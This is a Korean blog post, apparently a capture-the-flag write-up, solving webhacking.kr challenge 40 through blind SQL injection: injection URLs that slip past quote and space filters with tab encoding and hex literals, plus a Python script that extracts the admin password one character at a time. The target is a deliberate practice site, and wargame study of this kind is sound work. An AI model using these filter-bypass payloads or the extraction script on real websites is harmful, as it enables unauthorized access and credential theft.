webhacking/sql, sql injection

webhacking.kr 40

qkqhxla1 2015. 3. 13. 19:11

딱봐도 sql 인젝션 문제이고, 그냥 로그인해보면 

http://webhacking.kr/challenge/web/web-29/index.php?no=1&id=guest&pw=guest 라는 url로

요청이 간다. 로그인이 성공했다는 의미로 Success - guest가 뜬다.


소스코드가 없어도 인자를 보내는?no=1&id=guest&pw=guest 부분을 보면 guest가 들어가는 부분들은

싱글쿼터가 씌워져 있을거라 예상할 수 있다. 그리고 webhacking.kr은 앞에서 말했듯이 매직 쿼터

옵션이 켜져있어서 '를 입력해서 우회가 불가능하다. 그러면 no=1부분은 정수이므로 안 씌워놨을 수도

있다고 가정해 볼 수도 있다.(요즘은 대부분 정수도 보안을 위해 ''를 씌워놓지만 그냥 숫자만 올거라고

가정하고 안 씌워놓는 경우도 있다. 이걸 이용하라는것이다.)


그러면 ''가 없다는 가정하에 인젝션을 해보자. 

no에는 값이 존재하지 않을 -1또는 2라고 해보면 인젝션이 제대로 성공시 no=2의 결과값이 나올것이다.

(no같은 열은 대부분 숫자 순서대로 들어가며(1,2,3,4,~), -1,-2등의 음수들은 대부분 값이 없다.)

http://webhacking.kr/challenge/web/web-29/index.php?no=-1 or 2&id=guest&pw=guest

access denied가 뜸으로서, 인젝션이 성공적으로 먹혔고 2번이 admin이라는걸 알 수 있다. 


그럼 이제 필터링되는 문자가 나오면 하나씩 피해가면서 인젝션을 하면 된다.

일단 간단히 참이 되는 쿼리문을 하나 만들어보았다. id가 admin일 것이므로 

?no=-1||id%09like%090x6125&id=a&pw=a 처럼 보내면 -1또는 id가 a로 시작하는걸 찾는다는 쿼리문이 된다. 실행시켜보면 관리자 페이지가 뜬다.(이것은 no=2가 id=admin이 맞다는걸 의미한다.)

(?no=-1||id%09like%090x6125&id=a&pw=a 은 ?no=-1||id like 'a%'&id=a&pw=a와 같다.)


http://webhacking.kr/challenge/web/web-29/index.php?no=-1||id%09like%090x6125%26%26length(pw)%09like%0910&id=a&pw=a 


이라는 쿼리문으로 pw길이가 10이라는걸 알 수 있다. (진한 부분은 && length(pw) like 10과 같음.)

이제 한개씩 뽑아와야되는데 중요한 ascii,ord,char가 다 막혀있다. hex는 안 막혀있으므로

hex를 사용하거나, 또는 pw like에서 한가지씩 추가하는 방식으로 구할 수 있다.


http://webhacking.kr/challenge/web/web-29/index.php?no=-1||id%09like%090x6125%26%26hex(substr(pw,1,1))%09like%09hex(102)&id=a&pw=a

# -*- encoding: cp949 -*-
import urllib2
answer = ''
for i in range(1,11):
    for j in range(32,128):
        print i,j,answer
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-29/index.php?no=-1||id%09like%090x6125%26%26hex(substr(pw,'+str(i)+',1))%09like%09hex('+str(j)+')&id=a&pw=a')
        req.add_header('cookie','PHPSESSID=5kft5tmh2b202p8nsdo3r0tpf4')
        page = urllib2.urlopen(req).read()
        if page.find('admin password :') != -1:
            answer += chr(j)
            break
print answer


like로 풀 경우 상당히 공부에 도움이 될 것이다. like로 코딩을 짤 경우, %25와 %5f는 답에서 제외해야

할것이다. %25는 %, %5f는 _로 둘다 like의 와일드카드 문자이다. (모르면 찾아보길.) 그런데 답중에 _가 포함되있어서 코딩을 잘해야한다. 또한 like는 대소문자 구별을 안하는데, 답은 소문자임을 유의해서 짜자.


like로 짜는건 귀찮아서 안 짬. 본인의 코딩실력을 늘리고 싶으면 짜보길.

'webhacking > sql, sql injection' 카테고리의 다른 글

sql injection 문서.  (0) 2015.03.22
webhacking.kr 45, 46  (0) 2015.03.14
webhacking.kr 35, 39  (0) 2015.03.13
adm1nkyj님 워게임 prob 3  (0) 2015.03.03
Lord Of SQLinjection rubiya  (0) 2015.02.22